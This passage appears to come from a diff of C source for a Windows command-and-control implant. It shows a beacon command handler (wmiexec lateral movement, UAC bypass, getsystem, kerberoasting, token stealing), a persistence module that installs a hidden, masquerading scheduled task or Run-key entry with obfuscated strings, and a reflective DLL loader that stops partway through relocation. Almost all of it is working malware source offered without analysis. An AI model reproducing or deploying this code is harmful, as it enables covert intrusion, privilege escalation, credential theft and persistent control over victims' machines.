char fake_args[1024] = {0};
|
||||
char real_args[1024] = {0};
|
||||
|
||||
/* first field: exe_path */
|
||||
const char *p = args;
|
||||
sscanf(p, "%511s", exe_path);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
|
||||
/* second field: fake_args */
|
||||
if (p) {
|
||||
sscanf(p, "%1023s", fake_args);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
}
|
||||
|
||||
/* rest: real_args, may contain spaces */
|
||||
if (p && p[0]) {
|
||||
strncpy(real_args, p, sizeof(real_args) - 1);
|
||||
real_args[sizeof(real_args) - 1] = '\0';
|
||||
}
|
||||
|
||||
ret = cmd_spawn(exe_path, fake_args,
|
||||
real_args[0] ? real_args : NULL,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "wmiexec") == 0)
|
||||
{
|
||||
/* wmiexec: <host> <cmdline...>, split on first space */
|
||||
char host_s[256] = {0};
|
||||
char wcmd[2048] = {0};
|
||||
const char *wp = args;
|
||||
sscanf(wp, "%255s", host_s);
|
||||
wp = strchr(wp, ' ');
|
||||
if (wp) { wp++; strncpy(wcmd, wp, sizeof(wcmd) - 1); }
|
||||
ret = cmd_wmiexec(host_s, wcmd, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_uacbypass, sizeof(EVS_str_cmd_uacbypass)))
|
||||
{
|
||||
ret = cmd_uacbypass(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_getsystem, sizeof(EVS_str_cmd_getsystem)))
|
||||
{
|
||||
ret = cmd_getsystem(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_privesc, sizeof(EVS_str_cmd_privesc)))
|
||||
{
|
||||
ret = cmd_privesc(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "lpe_check") == 0)
|
||||
{
|
||||
ret = cmd_lpe_check(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
#ifndef LEAN
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_kerberoast, sizeof(EVS_str_cmd_kerberoast)))
|
||||
{
|
||||
ret = cmd_kerberoast(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_asreproast, sizeof(EVS_str_cmd_asreproast)))
|
||||
{
|
||||
ret = cmd_asreproast(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
#endif /* LEAN */
|
||||
else if (strcmp(cmd, "getuid") == 0)
|
||||
{
|
||||
ret = cmd_getuid(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_steal_token, sizeof(EVS_str_cmd_steal_token)))
|
||||
{
|
||||
unsigned long pid = strtoul(args, NULL, 10);
|
||||
if (!pid) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "[st] usage: st <pid>\n");
|
||||
ret = -1;
|
||||
} else {
|
||||
ret = cmd_steal_token(pid, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
}
|
||||
else if (strcmp(cmd, "rev2self") == 0)
|
||||
{
|
||||
ret = cmd_rev2self(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "make_token") == 0)
|
||||
{
|
||||
/* make_token: args = "DOMAIN\\user password" */
|
||||
char domain_user[256] = {0};
|
||||
char password[256] = {0};
|
||||
char *sp = strchr(args, ' ');
|
||||
if (sp) {
|
||||
size_t du_len = (size_t)(sp - args);
|
||||
if (du_len >= sizeof(domain_user))
|
||||
du_len = sizeof(domain_user) - 1;
|
||||
memcpy(domain_user, args, du_len);
|
||||
strncpy(password, sp + 1, sizeof(password) - 1);
|
||||
} else {
|
||||
size_t alen = strlen(args);
|
||||
if (alen >= sizeof(domain_user)) alen = sizeof(domain_user) - 1;
|
||||
memcpy(domain_user, args, alen);
|
||||
domain_user[alen] = '\0';
|
||||
}
|
||||
ret = cmd_make_token(domain_user, password,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
SecureZeroMemory(password, sizeof(password));
|
||||
}
|
||||
else if (strcmp(cmd, "kill") == 0)
|
||||
{
|
||||
DWORD pid = (DWORD)strtoul(args, NULL, 10);
|
||||
HANDLE hproc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
|
||||
if (!hproc) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[kill] OpenProcess(%lu) failed: %lu\n",
|
||||
(unsigned long)pid, GetLastError());
|
||||
} else {
|
||||
TerminateProcess(hproc, 1);
|
||||
CloseHandle(hproc);
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[kill] pid=%lu terminated\n",
|
||||
(unsigned long)pid);
|
||||
ret = 0;
|
||||
}
|
||||
}
|
||||
else if (strcmp(cmd, "cd") == 0)
|
||||
{
|
||||
if (SetCurrentDirectoryA(args[0] ? args : ".")) {
|
||||
GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output);
|
||||
size_t n = strlen(output);
|
||||
if (n < OUTPUT_BUF_SIZE - 1) {
|
||||
output[n] = '\n'; output[n+1] = '\0';
|
||||
}
|
||||
ret = 0;
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[cd] failed: %lu\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else if (strcmp(cmd, "pwd") == 0)
|
||||
{
|
||||
if (GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output) > 0) {
|
||||
size_t n = strlen(output);
|
||||
if (n < OUTPUT_BUF_SIZE - 1) {
|
||||
output[n] = '\n'; output[n+1] = '\0';
|
||||
}
|
||||
ret = 0;
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[pwd] failed: %lu\n", GetLastError());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[error] unknown command: %s\n", cmd);
|
||||
}
|
||||
|
||||
beacon_append_output(&agent, output, strlen(output));
|
||||
free(output);
|
||||
}
|
||||
free(data);
|
||||
}
|
||||
|
||||
beacon_sleep();
|
||||
}
|
||||
|
||||
done:
|
||||
agent_free(&agent);
|
||||
#ifndef HTTP_ONLY
|
||||
curl_global_cleanup();
|
||||
#endif
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* Entry points */
|
||||
/* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef _REFLECTIVE_DLL
|
||||
void agent_main(void) { agent_run(); }
|
||||
#else
|
||||
|
||||
static SERVICE_STATUS_HANDLE g_ssh = NULL;
|
||||
static SERVICE_STATUS g_ss = {0};
|
||||
|
||||
static void _svc_set(DWORD state, DWORD hint)
|
||||
{
|
||||
g_ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
||||
g_ss.dwCurrentState = state;
|
||||
g_ss.dwControlsAccepted = (state == SERVICE_START_PENDING) ? 0 : SERVICE_ACCEPT_STOP;
|
||||
g_ss.dwWin32ExitCode = NO_ERROR;
|
||||
g_ss.dwServiceSpecificExitCode = 0;
|
||||
g_ss.dwCheckPoint = (state == SERVICE_RUNNING || state == SERVICE_STOPPED) ? 0 : 1;
|
||||
g_ss.dwWaitHint = hint;
|
||||
{ const adv_api_t *_a = adv_get(); if (_a->SetServiceStatus) _a->SetServiceStatus(g_ssh, &g_ss); }
|
||||
}
|
||||
|
||||
static DWORD WINAPI _svc_agent_thread(LPVOID p) { (void)p; agent_run(); return 0; }
|
||||
|
||||
static VOID WINAPI _svc_ctrl(DWORD ctrl)
|
||||
{
|
||||
if (ctrl == SERVICE_CONTROL_STOP) {
|
||||
_svc_set(SERVICE_STOP_PENDING, 3000);
|
||||
ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
static VOID WINAPI _svc_main(DWORD argc, LPSTR *argv)
|
||||
{
|
||||
const char *sn = (argc > 0 && argv && argv[0]) ? argv[0] : "";
|
||||
{ const adv_api_t *_a = adv_get();
|
||||
if (_a->RegisterServiceCtrlHandlerA)
|
||||
g_ssh = _a->RegisterServiceCtrlHandlerA(sn, _svc_ctrl);
|
||||
}
|
||||
if (!g_ssh) return;
|
||||
_svc_set(SERVICE_START_PENDING, 3000);
|
||||
HANDLE ht = CreateThread(NULL, 0, _svc_agent_thread, NULL, 0, NULL);
|
||||
_svc_set(SERVICE_RUNNING, 0);
|
||||
if (ht) { WaitForSingleObject(ht, INFINITE); CloseHandle(ht); }
|
||||
_svc_set(SERVICE_STOPPED, 0);
|
||||
}
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lp, int nC)
|
||||
{
|
||||
(void)hI; (void)hP; (void)lp; (void)nC;
|
||||
SERVICE_TABLE_ENTRYA ste[] = { {"", _svc_main}, {NULL, NULL} };
|
||||
const adv_api_t *_adv = adv_get();
|
||||
if (!_adv->StartServiceCtrlDispatcherA || !_adv->StartServiceCtrlDispatcherA(ste)) {
|
||||
if (GetLastError() == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
|
||||
agent_run();
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
#endif /* _REFLECTIVE_DLL */
|
||||
@@ -0,0 +1,269 @@
|
||||
#define COBJMACROS
|
||||
#define INITGUID
|
||||
|
||||
#include "persist.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <ole2.h>
|
||||
#include <taskschd.h>
|
||||
#include <wchar.h>
|
||||
#include <string.h>
|
||||
|
||||
static void _exe_path(char *buf, DWORD sz)
|
||||
{
|
||||
GetModuleFileNameA(NULL, buf, sz);
|
||||
}
|
||||
|
||||
/* Build BSTR from narrow string — avoids wide string literals in .rdata */
|
||||
static BSTR _bstr_from_chars(const char *s)
|
||||
{
|
||||
int n = (int)strlen(s);
|
||||
WCHAR *w = (WCHAR *)HeapAlloc(GetProcessHeap(), 0, (size_t)(n + 1) * sizeof(WCHAR));
|
||||
if (!w) return NULL;
|
||||
for (int i = 0; i < n; i++) w[i] = (WCHAR)(unsigned char)s[i];
|
||||
w[n] = L'\0';
|
||||
BSTR b = SysAllocString(w);
|
||||
HeapFree(GetProcessHeap(), 0, w);
|
||||
return b;
|
||||
}
|
||||
|
||||
/* registry Run key persistence (HKCU, no elevation needed) */
|
||||
|
||||
static int _reg_install(const char *path)
|
||||
{
|
||||
char _rk[46], _rv[23];
|
||||
EVS_D(_rk, EVS_str_reg_run_key);
|
||||
EVS_D(_rv, EVS_str_persist_reg_val);
|
||||
HKEY hk;
|
||||
if (RegOpenKeyExA(HKEY_CURRENT_USER, _rk, 0, KEY_SET_VALUE, &hk) != ERROR_SUCCESS) {
|
||||
SecureZeroMemory(_rk, sizeof(_rk));
|
||||
SecureZeroMemory(_rv, sizeof(_rv));
|
||||
return -1;
|
||||
}
|
||||
LONG rc = RegSetValueExA(hk, _rv, 0, REG_SZ,
|
||||
(const BYTE *)path, (DWORD)(strlen(path) + 1));
|
||||
RegCloseKey(hk);
|
||||
SecureZeroMemory(_rk, sizeof(_rk));
|
||||
SecureZeroMemory(_rv, sizeof(_rv));
|
||||
return rc == ERROR_SUCCESS ? 0 : -1;
|
||||
}
|
||||
|
||||
static int _reg_remove(void)
|
||||
{
|
||||
char _rk[46], _rv[23];
|
||||
EVS_D(_rk, EVS_str_reg_run_key);
|
||||
EVS_D(_rv, EVS_str_persist_reg_val);
|
||||
HKEY hk;
|
||||
if (RegOpenKeyExA(HKEY_CURRENT_USER, _rk, 0, KEY_SET_VALUE, &hk) != ERROR_SUCCESS) {
|
||||
SecureZeroMemory(_rk, sizeof(_rk));
|
||||
SecureZeroMemory(_rv, sizeof(_rv));
|
||||
return -1;
|
||||
}
|
||||
RegDeleteValueA(hk, _rv);
|
||||
RegCloseKey(hk);
|
||||
SecureZeroMemory(_rk, sizeof(_rk));
|
||||
SecureZeroMemory(_rv, sizeof(_rv));
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int _schtask_install(const char *exe_path)
|
||||
{
|
||||
HRESULT hr;
|
||||
int rc = -1;
|
||||
|
||||
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL need_uninit = (hr == S_OK || hr == S_FALSE);
|
||||
|
||||
ITaskService *pSvc = NULL;
|
||||
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
|
||||
&IID_ITaskService, (void **)&pSvc);
|
||||
if (FAILED(hr)) goto co_done;
|
||||
|
||||
{
|
||||
VARIANT v; VariantInit(&v);
|
||||
if (FAILED(pSvc->lpVtbl->Connect(pSvc, v, v, v, v)))
|
||||
goto svc_done;
|
||||
}
|
||||
|
||||
ITaskFolder *pFolder = NULL;
|
||||
{
|
||||
BSTR root = SysAllocString(L"\\");
|
||||
hr = pSvc->lpVtbl->GetFolder(pSvc, root, &pFolder);
|
||||
SysFreeString(root);
|
||||
if (FAILED(hr)) goto svc_done;
|
||||
}
|
||||
|
||||
ITaskDefinition *pDef = NULL;
|
||||
if (FAILED(pSvc->lpVtbl->NewTask(pSvc, 0, &pDef)))
|
||||
goto folder_done;
|
||||
|
||||
/* author field for masquerading */
|
||||
{
|
||||
IRegistrationInfo *pi = NULL;
|
||||
if (SUCCEEDED(pDef->lpVtbl->get_RegistrationInfo(pDef, &pi))) {
|
||||
char _auth[22];
|
||||
EVS_D(_auth, EVS_str_persist_author);
|
||||
BSTR auth = _bstr_from_chars(_auth);
|
||||
SecureZeroMemory(_auth, sizeof(_auth));
|
||||
pi->lpVtbl->put_Author(pi, auth);
|
||||
SysFreeString(auth);
|
||||
pi->lpVtbl->Release(pi);
|
||||
}
|
||||
}
|
||||
|
||||
/* principal: interactive token, no elevation */
|
||||
{
|
||||
IPrincipal *pp = NULL;
|
||||
if (SUCCEEDED(pDef->lpVtbl->get_Principal(pDef, &pp))) {
|
||||
pp->lpVtbl->put_LogonType(pp, TASK_LOGON_INTERACTIVE_TOKEN);
|
||||
pp->lpVtbl->Release(pp);
|
||||
}
|
||||
}
|
||||
|
||||
/* settings: hidden, runs on battery, starts when available */
|
||||
{
|
||||
ITaskSettings *ps = NULL;
|
||||
if (SUCCEEDED(pDef->lpVtbl->get_Settings(pDef, &ps))) {
|
||||
ps->lpVtbl->put_Hidden(ps, VARIANT_TRUE);
|
||||
ps->lpVtbl->put_StartWhenAvailable(ps, VARIANT_TRUE);
|
||||
ps->lpVtbl->put_StopIfGoingOnBatteries(ps, VARIANT_FALSE);
|
||||
ps->lpVtbl->put_DisallowStartIfOnBatteries(ps, VARIANT_FALSE);
|
||||
ps->lpVtbl->Release(ps);
|
||||
}
|
||||
}
|
||||
|
||||
/* logon trigger */
|
||||
{
|
||||
ITriggerCollection *ptc = NULL;
|
||||
if (SUCCEEDED(pDef->lpVtbl->get_Triggers(pDef, &ptc))) {
|
||||
ITrigger *pt = NULL;
|
||||
if (SUCCEEDED(ptc->lpVtbl->Create(ptc, TASK_TRIGGER_LOGON, &pt))) {
|
||||
ILogonTrigger *plt = NULL;
|
||||
if (SUCCEEDED(pt->lpVtbl->QueryInterface(pt,
|
||||
&IID_ILogonTrigger, (void **)&plt))) {
|
||||
char _tid[13];
|
||||
EVS_D(_tid, EVS_str_persist_trigger_id);
|
||||
BSTR id = _bstr_from_chars(_tid);
|
||||
SecureZeroMemory(_tid, sizeof(_tid));
|
||||
plt->lpVtbl->put_Id(plt, id);
|
||||
SysFreeString(id);
|
||||
plt->lpVtbl->Release(plt);
|
||||
}
|
||||
pt->lpVtbl->Release(pt);
|
||||
}
|
||||
ptc->lpVtbl->Release(ptc);
|
||||
}
|
||||
}
|
||||
|
||||
/* exec action */
|
||||
{
|
||||
IActionCollection *pac = NULL;
|
||||
if (SUCCEEDED(pDef->lpVtbl->get_Actions(pDef, &pac))) {
|
||||
IAction *pa = NULL;
|
||||
if (SUCCEEDED(pac->lpVtbl->Create(pac, TASK_ACTION_EXEC, &pa))) {
|
||||
IExecAction *pea = NULL;
|
||||
if (SUCCEEDED(pa->lpVtbl->QueryInterface(pa,
|
||||
&IID_IExecAction, (void **)&pea))) {
|
||||
BSTR p = _bstr_from_chars(exe_path);
|
||||
pea->lpVtbl->put_Path(pea, p);
|
||||
SysFreeString(p);
|
||||
pea->lpVtbl->Release(pea);
|
||||
}
|
||||
pa->lpVtbl->Release(pa);
|
||||
}
|
||||
pac->lpVtbl->Release(pac);
|
||||
}
|
||||
}
|
||||
|
||||
/* register task */
|
||||
{
|
||||
char _tn[35];
|
||||
EVS_D(_tn, EVS_str_persist_task_name);
|
||||
BSTR name = _bstr_from_chars(_tn);
|
||||
SecureZeroMemory(_tn, sizeof(_tn));
|
||||
VARIANT ve; VariantInit(&ve);
|
||||
IRegisteredTask *preg = NULL;
|
||||
hr = pFolder->lpVtbl->RegisterTaskDefinition(pFolder, name, pDef,
|
||||
TASK_CREATE_OR_UPDATE, ve, ve,
|
||||
TASK_LOGON_INTERACTIVE_TOKEN, ve, &preg);
|
||||
SysFreeString(name);
|
||||
if (SUCCEEDED(hr)) {
|
||||
rc = 0;
|
||||
if (preg) preg->lpVtbl->Release(preg);
|
||||
}
|
||||
}
|
||||
|
||||
pDef->lpVtbl->Release(pDef);
|
||||
folder_done:
|
||||
pFolder->lpVtbl->Release(pFolder);
|
||||
svc_done:
|
||||
pSvc->lpVtbl->Release(pSvc);
|
||||
co_done:
|
||||
if (need_uninit) CoUninitialize();
|
||||
return rc;
|
||||
}
|
||||
|
||||
static int _schtask_remove(void)
|
||||
{
|
||||
HRESULT hr;
|
||||
int rc = -1;
|
||||
|
||||
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
BOOL need_uninit = (hr == S_OK || hr == S_FALSE);
|
||||
|
||||
ITaskService *pSvc = NULL;
|
||||
if (FAILED(CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
|
||||
&IID_ITaskService, (void **)&pSvc)))
|
||||
goto co_done2;
|
||||
|
||||
{
|
||||
VARIANT v; VariantInit(&v);
|
||||
pSvc->lpVtbl->Connect(pSvc, v, v, v, v);
|
||||
}
|
||||
|
||||
ITaskFolder *pFolder = NULL;
|
||||
{
|
||||
BSTR root = SysAllocString(L"\\");
|
||||
pSvc->lpVtbl->GetFolder(pSvc, root, &pFolder);
|
||||
SysFreeString(root);
|
||||
}
|
||||
|
||||
if (pFolder) {
|
||||
char _tn[35];
|
||||
EVS_D(_tn, EVS_str_persist_task_name);
|
||||
BSTR name = _bstr_from_chars(_tn);
|
||||
SecureZeroMemory(_tn, sizeof(_tn));
|
||||
if (SUCCEEDED(pFolder->lpVtbl->DeleteTask(pFolder, name, 0)))
|
||||
rc = 0;
|
||||
SysFreeString(name);
|
||||
pFolder->lpVtbl->Release(pFolder);
|
||||
}
|
||||
|
||||
pSvc->lpVtbl->Release(pSvc);
|
||||
co_done2:
|
||||
if (need_uninit) CoUninitialize();
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* public API */
|
||||
|
||||
int persist_install(persist_method_t method)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_exe_path(path, MAX_PATH);
|
||||
return method == PERSIST_SCHTASK ? _schtask_install(path) : _reg_install(path);
|
||||
}
|
||||
|
||||
int persist_remove(persist_method_t method)
|
||||
{
|
||||
return method == PERSIST_SCHTASK ? _schtask_remove() : _reg_remove();
|
||||
}
|
||||
|
||||
int persist_auto(void)
|
||||
{
|
||||
char path[MAX_PATH];
|
||||
_exe_path(path, MAX_PATH);
|
||||
if (_schtask_install(path) == 0) return PERSIST_SCHTASK;
|
||||
if (_reg_install(path) == 0) return PERSIST_REGISTRY;
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifdef _REFLECTIVE_DLL
|
||||
#include <windows.h>
|
||||
|
||||
void agent_main(void);
|
||||
|
||||
static DWORD WINAPI _agent_thread(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
agent_main();
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
(void)lpReserved;
|
||||
if (dwReason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hInstDLL);
|
||||
CreateThread(NULL, 0, _agent_thread, NULL, 0, NULL);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
#endif /* _REFLECTIVE_DLL */
|
||||
@@ -0,0 +1,246 @@
|
||||
#ifdef _REFLECTIVE_DLL
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <intrin.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/* Silence MinGW warning about DllMain not being declared */
|
||||
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
/* full LDR_DATA_TABLE_ENTRY layout, MinGW winternl.h only exposes FullDllName */
|
||||
typedef struct _MY_LDR_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} MY_LDR_ENTRY;
|
||||
|
||||
typedef struct _MY_PEB_LDR {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} MY_PEB_LDR;
|
||||
|
||||
typedef struct _MY_PEB {
|
||||
BYTE Reserved[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
MY_PEB_LDR *Ldr;
|
||||
} MY_PEB;
|
||||
|
||||
typedef HMODULE (WINAPI *pLoadLibraryA_t)(LPCSTR);
|
||||
typedef FARPROC (WINAPI *pGetProcAddress_t)(HMODULE, LPCSTR);
|
||||
typedef LPVOID (WINAPI *pVirtualAlloc_t)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *pFlushInstructionCache_t)(HANDLE, LPCVOID, SIZE_T);
|
||||
typedef BOOL (WINAPI *pVirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef HANDLE (WINAPI *pGetCurrentProcess_t)(void);
|
||||
typedef BOOL (WINAPI *pDllMain_t)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
static int _eqstr(const char *a, const char *b)
|
||||
{
|
||||
while (*a && *b && (*a | 0x20) == (*b | 0x20)) { a++; b++; }
|
||||
return (*a == '\0' && *b == '\0');
|
||||
}
|
||||
|
||||
static int _weq12(const WCHAR *w, const char *s)
|
||||
{
|
||||
for (int i = 0; i < 12; i++) {
|
||||
if (!w[i] && !s[i]) return 1;
|
||||
if (!w[i] || !s[i]) return 0;
|
||||
if ((w[i] | 0x20) != (s[i] | 0x20)) return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* find kernel32 base via PEB walk */
|
||||
|
||||
static ULONG_PTR _find_kernel32(void)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
MY_PEB *peb = (MY_PEB *)__readgsqword(0x60);
|
||||
#else
|
||||
MY_PEB *peb = (MY_PEB *)__readfsdword(0x30);
|
||||
#endif
|
||||
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY cur = head->Flink;
|
||||
while (cur != head) {
|
||||
MY_LDR_ENTRY *e = CONTAINING_RECORD(cur, MY_LDR_ENTRY, InMemoryOrderLinks);
|
||||
if (e->BaseDllName.Length >= 24 &&
|
||||
_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
|
||||
return (ULONG_PTR)e->DllBase;
|
||||
cur = cur->Flink;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* find export by name via EAT walk */
|
||||
|
||||
static ULONG_PTR _get_proc(ULONG_PTR mod, const char *name)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY exp;
|
||||
DWORD rva = nt->OptionalHeader
|
||||
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
.VirtualAddress;
|
||||
if (!rva) return 0;
|
||||
exp = (PIMAGE_EXPORT_DIRECTORY)(mod + rva);
|
||||
|
||||
DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
|
||||
WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals);
|
||||
DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
if (_eqstr((char *)(mod + names[i]), name))
|
||||
return mod + funcs[ords[i]];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* find own PE base by scanning backwards from current IP */
|
||||
|
||||
static ULONG_PTR _find_own_base(void)
|
||||
{
|
||||
ULONG_PTR ip = (ULONG_PTR)_find_own_base & ~0xFFFUL;
|
||||
for (int i = 0; i < 4096; i++, ip -= 0x1000) {
|
||||
if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
|
||||
if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE &&
|
||||
nt->OptionalHeader.SizeOfImage > 0)
|
||||
return ip;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* reflective loader entry point */
|
||||
|
||||
__declspec(dllexport)
|
||||
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
{
|
||||
(void)lpParameter;
|
||||
|
||||
/* 1. bootstrap: resolve needed kernel32 functions */
|
||||
ULONG_PTR k32 = _find_kernel32();
|
||||
if (!k32) return 0;
|
||||
|
||||
pLoadLibraryA_t fLoadLibraryA = (pLoadLibraryA_t )_get_proc(k32, "LoadLibraryA");
|
||||
pGetProcAddress_t fGetProcAddress = (pGetProcAddress_t )_get_proc(k32, "GetProcAddress");
|
||||
pVirtualAlloc_t fVirtualAlloc = (pVirtualAlloc_t )_get_proc(k32, "VirtualAlloc");
|
||||
pFlushInstructionCache_t fFlushIC = (pFlushInstructionCache_t)_get_proc(k32, "FlushInstructionCache");
|
||||
pGetCurrentProcess_t fGetCurrentProc = (pGetCurrentProcess_t )_get_proc(k32, "GetCurrentProcess");
|
||||
|
||||
if (!fLoadLibraryA || !fGetProcAddress || !fVirtualAlloc) return 0;
|
||||
|
||||
/* 2. find own raw PE base */
|
||||
ULONG_PTR src = _find_own_base();
|
||||
if (!src) return 0;
|
||||
|
||||
PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
|
||||
PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
|
||||
DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
|
||||
DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
/* 3. allocate target image, try preferred base first */
|
||||
ULONG_PTR dst = (ULONG_PTR)fVirtualAlloc(
|
||||
(LPVOID)srcNt->OptionalHeader.ImageBase,
|
||||
imgSz, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!dst)
|
||||
dst = (ULONG_PTR)fVirtualAlloc(
|
||||
NULL, imgSz, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!dst) return 0;
|
||||
|
||||
/* 4. copy PE headers */
|
||||
{
|
||||
uint8_t *s = (uint8_t *)src;
|
||||
uint8_t *d = (uint8_t *)dst;
|
||||
for (DWORD i = 0; i < hdrSz; i++) d[i] = s[i];
|
||||
}
|
||||
|
||||
/* 5. copy sections */
|
||||
{
|
||||
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
|
||||
for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
uint8_t *secSrc = (uint8_t *)(src + sec->VirtualAddress);
|
||||
uint8_t *secDst = (uint8_t *)(dst + sec->VirtualAddress);
|
||||
DWORD sz = sec->SizeOfRawData ? sec->SizeOfRawData : sec->Misc.VirtualSize;
|
||||
for (DWORD j = 0; j < sz; j++) secDst[j] = secSrc[j];
|
||||
}
|
||||
}
|
||||
|
||||
/* 6. apply base relocations */
|
||||
PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
|
||||
LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);
|
||||
|
||||
{
|
||||
DWORD rva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
||||
DWORD sz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||||
if (delta && rva && sz) {
|
||||
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + rva);
|
||||
